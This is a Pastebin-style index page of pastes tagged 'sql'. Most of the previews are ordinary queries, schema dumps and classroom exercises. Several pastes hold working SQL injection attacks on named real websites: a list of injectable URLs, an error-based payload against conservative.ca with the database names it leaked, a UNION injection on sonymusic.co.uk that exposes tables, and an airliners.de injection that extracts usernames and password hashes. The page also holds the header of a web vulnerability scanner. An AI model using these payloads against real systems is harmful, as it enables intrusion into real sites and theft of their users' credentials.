Part of Slepp's Projects — Pastebin — TURL — Imagebin — Filebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Advertising

advertising

related pastes to tag 'sql'

2149861 - sql injection vulnerable site li: sql site list injection vulnerable zerowl
  1. ~~~~~~ZerOWL~~~~~
  2.  
  3.  
  4. http://www.solutionfocusedtrainers.co.uk/trainers.php?id='4 
  5. http://www.arcdi.com/trainers.php?id='30
  6. http://youronesourcefitness.com/trainers.php?id='30
  7. http://www.emarotta.com/article.php?ID='338
  8. http://www.gesmer.com/publications/article.php?ID='51
  9.  
2137642 - Moodle Informational Query: sql
  1. SELECT
  2. mdl_groups.id AS group_id,
  3. mdl_groups.courseid AS course_id,
  4. mdl_course.fullname AS course_name,
  5. mdl_groups.name AS group_name
  6. FROM mdl_groups
  7. INNER JOIN
  8. mdl_course ON mdl_groups.courseid = mdl_course.id
  9.  
2137641 - Moodle Informational Query: sql
  1. SELECT DISTINCT
  2. mdl_groups.id AS group_id,
  3. mdl_groups.courseid AS course_id,
  4. mdl_groups.name AS group_name
  5. FROM
  6. `mdl_groups`, `mdl_course`
  7. WHERE (
  8. SELECT id
  9.  
2137638 - Moodle Informational Query: sql
  1. SELECT DISTINCT
  2. mdl_groups.id AS group_id,
  3. mdl_groups.courseid AS course_id,
  4. mdl_groups.name AS group_name
  5. FROM
  6. `mdl_groups`, `mdl_course`
  7. WHERE (
  8. SELECT id
  9.  
2073831 - Nick: sql mysql
  1. INSERT INTO person (person_id, first_name, last_name, address, phone, email, photo)   
  2. VALUES
  3. (NULL, 'Bob', 'Bobbison', '32 The Main Street', 4564587, 'bob@bobby.com', NULL),
  4. (NULL, 'Nick', 'Little', '21 Eglinton Road', 4554515, 'nick@flat21.co.nz', NULL),
  5. (NULL, 'Jasmine', 'Smith', '58 Brandon Street', 4487324, 'j_smith@windowslive.com','NULL'),
  6. (NULL, 'Josh', 'Wight', '342 Ferris Road', 4483257, 'wight_01@hotmail.com','NULL'),
  7. (NULL, 'Angus', 'Young', '984 The Glen Road', 4563465, 'ayoung@xtra.co.nz','NULL'),
  8. (NULL, 'Freddy', 'Mercury', '324 The Side Road', 4564415, 'f_m_r@xtra.co.nz','NULL'),
  9.  
2052685 - Conervative Party of Canada: sql hack injection canada
  1. tell everyone!
  2.  
  3. conservative.ca/index.php?section_copy_id=21257%A7ion_i' AND (SELECT 3997 FROM(SELECT COUNT(),CONCAT(CHAR(58,119,108,121,58),(SELECT (CASE WHEN (3997=3997) THEN 1 ELSE 0 END)),CHAR(58,112,119,105,58),FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a) AND 'NHNb'='NHNb
  4.  
  5. available databases [4]:
  6. [*] conservativ_ca_v1_6_store_v1_0
  7. [*] conservativ_ca_v1_81
  8. [*] information_schema
  9.  
1948768 - firebird conversion error: sql view conversion firebird flocate
  1. /*
  2. Flamerobin Firebird 2.1.3 x86/Linux, db UTF8, ODS 11.1, page size 16384; also
  3. on Firebird 2.5RC3 embedded Windows.
  4. If I run the view FILESDEFAULTSCAN (complex in that it joins a lot of tables, but
  5. basically spits out a denormalized version), I get a SQL message -413 Overflow
  6. occurred during data type conversion. Engine code 33554434, Engine Message:
  7. conversion error from string "Systematic exposure program".
  8. This string is in TBLEXPOSUREPROGRAMS.EXPOSUREPROGRAM (VARCHAR255)
  9.  
  10.  
1948090 - flocate error tightened up: sql conversion firebird flocate
  1. /********************* ROLES **********************/
  2.  
  3. /********************* UDFS ***********************/
  4.  
  5. /****************** GENERATORS ********************/
  6.  
  7. /******************** DOMAINS *********************/
  8.  
  9.  
1924729 - Ryan Williams: sql log transaction shrink
  1. DECLARE @DATABASE NVARCHAR(255)
  2. DECLARE @logFile NVARCHAR(255)
  3. SET @DATABASE = 'MyDataBase'
  4. SET @logFile = 'MyDataBase_log'
  5.  
  6. -- Backup & Truncate transaction log.
  7. BACKUP LOG @DATABASE WITH TRUNCATE_ONLY
  8. GO
  9.  
1852678 - Copy from CSV: sql postgres
  1. CREATE TABLE _import_prices_findmtg (card_name VARCHAR(128), edition VARCHAR(4), price NUMERIC(50,2), price_date DATE);
  2. ALTER TABLE _import_prices_findmtg OWNER TO magic;
  3. SET DATESTYLE='MDY';
  4. --SHOW DATESTYLE;
  5. COPY _import_prices_findmtg FROM E'c:\\work\\mtg_prices_zen_22_2_2010.csv' DELIMITER ',' CSV;
1717481 - points for sql server 2008: sql server 2008 points spatial
  1. -- drop table points;
  2.  
  3. CREATE TABLE points (id integer PRIMARY KEY, geom geometry);
  4.  
  5.  
  6. INSERT INTO points (id, geom) VALUES (1, geometry::Parse('POINT(154597 159517)'));
  7. INSERT INTO points (id, geom) VALUES (2, geometry::Parse('POINT(159929 157759)'));
  8. INSERT INTO points (id, geom) VALUES (3, geometry::Parse('POINT(157482 164124)'));
  9.  
1717471 - polygon for sql server import: sql server 2008 spatial polygon
  1. -- drop table poly;
  2.  
  3. CREATE TABLE poly (id integer PRIMARY KEY, geom geometry);
  4.  
  5. INSERT INTO poly (id, geom) VALUES (1, geometry::Parse('
  6. MULTIPOLYGON (((
  7.             0 228366,
  8.             746 227274,
  9.  
1449289 - Ugarit: sql
  1. /*MySQL*/
  2.  
  3. CREATE TABLE _vehiclemodels (
  4.   `vmodid` INT NOT NULL AUTO_INCREMENT,
  5.   `vmodname` varchar(32) NOT NULL,
  6.   `vmodyear` YEAR NOT NULL,
  7.   `vmanid` INT NOT NULL, FOREIGN KEY (`vmanid`) REFERENCES _vehiclemanufacturers (`vmanid`),
  8.   `vmodattributes` varchar(32) NOT NULL,
  9.  
1395337 - Sony SQL injection: sql sony
  1. Cant be bothered to investigate this much,
  2. it's late and I have to drive to Eindhoven in the morning.
  3.  
  4. http://www.sonymusic.co.uk/news/x'%20UNION%20SELECT%201,1,(SELECT%20COUNT(*)%20FROM%20releases),1,1,1,1,1,1%23/0/
  5.  
  6. Theres a few tables:
  7. artists
  8. news
  9.  
1270289 - phpBB3 special ranks: sql phpbb3
  1. SELECT
  2.   rank_id,
  3.   rank_title,
  4.   IFNULL(rank_owners, "-") AS rank_owners
  5. FROM
  6.   phpbb3_ranks
  7. LEFT JOIN
  8.   (SELECT
  9.  
1222759 - SQL-BashScript: menu sql script shell bash execution
  1. #!/bin/bash
  2. #
  3. # SQL Shell Execution Menu Bash Script
  4. #
  5. # by Mike Jans mailto: infos[At]bash[DoT]ch
  6. #
  7. ############################################
  8.  
  9.  
1091421 - mtrp final sql: sql database mtrp
  1. SET @saved_cs_client     = @@character_set_client;
  2. SET character_set_client = utf8;
  3. CREATE TABLE `bans` (
  4.   `id` int(11) NOT NULL AUTO_INCREMENT,
  5.   `type` tinyint(2) NOT NULL,
  6.   `player` int(11) NOT NULL,
  7.   `time` int(11) NOT NULL,
  8.   `amount` bigint(20) NOT NULL DEFAULT '0',
  9.  
941097 - StAlbertFoodBank SQL sql microsoft
preview unavailable
924780 - StR: sql
  1.     /**
  2.      * Inserts a new leaf, it is inserted at the end, as an append
  3.      *
  4.      * @param array             $data   Data to insert
  5.      * @param Biznet_Model_Tree $parent Parent to this leaf
  6.      *
  7.      * @return int
  8.      */
  9.  
924778 - StR: sql
  1.     /**
  2.      * Inserts a new leaf, it is inserted at the end, as an append
  3.      *
  4.      * @param array             $data   Data to insert
  5.      * @param Biznet_Model_Tree $parent Parent to this leaf
  6.      *
  7.      * @return int
  8.      */
  9.  
924776 - StR: sql
  1.     /**
  2.      * Inserts a new leaf, it is inserted at the end, as an append
  3.      *
  4.      * @param array             $data   Data to insert
  5.      * @param Biznet_Model_Tree $parent Parent to this leaf
  6.      *
  7.      * @return int
  8.      */
  9.  
910487 - Uruviel: sql mysql
  1. SELECT answers.answer,
  2.        answers.return_value,
  3.        dependencies.targetid AS target
  4. FROM  answers
  5.       JOIN response_options
  6.            ON answers.id = response_options.answerid
  7.       LEFT JOIN dependencies
  8.            ON answers.answerid = dependencies.answerid
  9.  
910010 - Uruviel: sql mysql
  1. SELECT answers.answer, answers.return_value, dependencies.targetid AS target FROM (SELECT * FROM  answers, response_options WHERE answers.id = response_options.answerid AND response_options.questionid = 1) AS answers LEFT JOIN dependencies ON answers.answerid = dependencies.answerid AND dependencies.questionid = 1
895466 - Kill Me now.: sql horror
  1. SELECT
  2.   loan..ln.l_ln AS Loan,
  3.   loan..indv_brw.n_last AS Borrower,
  4.   loan..ln.l_clndr AS Cust_Number,
  5.   corp..nw_org_unit.l_au AS Orig_AU,
  6.         corp..nw_org_unit.l_lpa_geog_regn,
  7.         (
  8.                 SELECT l_au
  9.  
892774 - bScan - Simple Web Aplications S: sql ruby web xss injection scanner scan vuln app aplications ouaib
  1. #####################################################################################
  2. #       Black_H  / Nooz -- 30:01:07
  3. #       Bl4ck.H<>gmail<>com
  4. #
  5. #       Note: Premie code Ruby, A partir du Daphpscan
  6. #
  7.  
  8. class BScan
  9.  
872394 - TheDefaced Google Friendly: sql wifi user web servers windows recovery networking posts website certifications equipment measures policy vpn vbulletin voip 2000
  1. TheDefaced Google Friendly
  2.  
  3. http://thedefaced.org/forums/forumdisplay.php?f=69
  4.  
  5. Keywords: x2Fusion DeadlyData Debug Tr3mbl3r Blood420 TheDefaced TheDefaced.org RoMeO xLink [xLink] coding programming darkmindz.com irc bouncer [irc bouncer] as400 security attack network buffer overflow attacks building business computer domain internet c# center channels change name firewall software issues solution systems computers cyber data database digital dns check register embedded endpoint exploit fibre testing generation latest government information international irc 1031 exchange bnc bot bouncer hosting scripting server shells tires trojan iseries it mainframe managing cisco mirc script net and perimeter architecture article audit auditing camera case study conference consultant consultants consulting design forum fundamentals news paper products professional provider scanner services system technology test threat threats tips tools white networks nt password pc proxy appliance bank certifications equipment measures networking policy posts vpn windows servers sql user vbulletin voip web website wifi 2000 recovery workstation xp administrator wireless
853641 - MeanMachine: sql mangos generator update waypoint movement
  1. DROP TABLE IF EXISTS `waypoint_scripts`;
  2. CREATE TABLE `waypoint_scripts` (
  3.   `id` int(11) UNSIGNED NOT NULL DEFAULT '0',
  4.   `delay` int(11) UNSIGNED NOT NULL DEFAULT '0',
  5.   `command` int(11) UNSIGNED NOT NULL DEFAULT '0',
  6.   `datalong` int(11) UNSIGNED NOT NULL DEFAULT '0',
  7.   `datalong2` int(11) UNSIGNED NOT NULL DEFAULT '0',
  8.   `datatext` text NOT NULL,
  9.  
853540 - MeanMachine: sql mangos generator update waypoint movement
  1. DROP TABLE IF EXISTS `waypoint_scripts`;
  2. CREATE TABLE `waypoint_scripts` (
  3.   `id` int(11) UNSIGNED NOT NULL DEFAULT '0',
  4.   `delay` int(11) UNSIGNED NOT NULL DEFAULT '0',
  5.   `command` int(11) UNSIGNED NOT NULL DEFAULT '0',
  6.   `datalong` int(11) UNSIGNED NOT NULL DEFAULT '0',
  7.   `datalong2` int(11) UNSIGNED NOT NULL DEFAULT '0',
  8.   `datatext` text NOT NULL,
  9.  
828575 - airliners.de SQL Injection - Lee: sql - from httpwww.airliners.deindustrieflugzeuglexikonaircraft.phpmanufactureridnullunionselect1concatusername0x3auser_password345678910fromusers airliners.de injection leeched h4ck-y0u fags
  1. http://www.airliners.de/industrie/flugzeuglexikon/aircraft.php?manufacturerid=null/**/UNION/**/SELECT/**/1,CONCAT(username,0x3a,user_password),3,4,5,6,7,8,9,10/**/FROM/**/users/*
755823 - DB bung 6: sql order data by base union exists intersect except minus
  1. -- Übung 6 --
  2. -- 1
  3. SELECT * FROM mitarbeiter ORDER BY m_nr;
  4. -- 2
  5. SELECT m_nr, aufgabe, einst_dat FROM arbeiten WHERE aufgabe = 'Projektleiter' ORDER BY m_nr DESC;
  6. -- 3
  7. SELECT stadt FROM abteilung
  8. UNION
  9.  
755821 - DB bung 5: sql
  1. -- Übung 05 --
  2. -- 1
  3. SELECT aufgabe FROM arbeiten WHERE m_nr = 28559
  4. -- 2
  5. SELECT abt_name FROM abteilung
  6.         WHERE abt_nr =
  7.                 (SELECT abt_nr FROM mitarbeiter
  8.                         WHERE m_name = 'Müller')
  9.  
755818 - DB bung 5: sql
  1. Übung 5
  2. -- 1
  3. SELECT aufgabe FROM arbeiten WHERE m_nr = 28559
  4. -- 2
  5. SELECT abt_name FROM abteilung
  6.         WHERE abt_nr =
  7.                 (SELECT abt_nr FROM mitarbeiter
  8.                         WHERE m_name = 'Müller')
  9.  
752584 - hali: sql
  1. begin
  2. FOR a IN (SELECT 1 FROM user_tables WHERE table_name='A')
  3. loop
  4. execute immediate 'drop table a';
  5. end loop;
  6. end;
  7. /
746782 - DB bung 6: sql order data by base union exists intersect except minus
  1. DB Übung 6
  2. 1.
  3. SELECT * FROM mitarbeiter ORDER BY m_nr;
  4. 2.
  5. SELECT m_nr, aufgabe, einst_dat FROM arbeiten WHERE aufgabe = 'Projektleiter' ORDER BY m_nr DESC;
  6. 3.
  7. SELECT stadt FROM abteilung
  8. UNION
  9.  
642100 - ojacobson: sql
  1. session-dev=# create temp table foo (moment timestamp with time zone);
  2. CREATE TABLE
  3. session-dev=# insert into foo values ('2007-08-01 00:00:00 PDT');
  4. INSERT 0 1
  5. session-dev=# insert into foo values ('2007-08-01 00:00:00 UTC');
  6. INSERT 0 1
  7. session-dev=# select * from foo;
  8.          moment         
  9.  
594299 - Get position of a record in a se: sql mysql position ordering
  1. SELECT proposal_id, AVG(total_score) AS avg_score FROM (SELECT r.proposal_id, SUM(rs.value) AS total_score FROM opas_review r INNER JOIN opas_review_score rs USING (review_id) GROUP BY r.review_id) AS t1 GROUP BY proposal_id ORDER BY avg_score;
worth-right
worth-right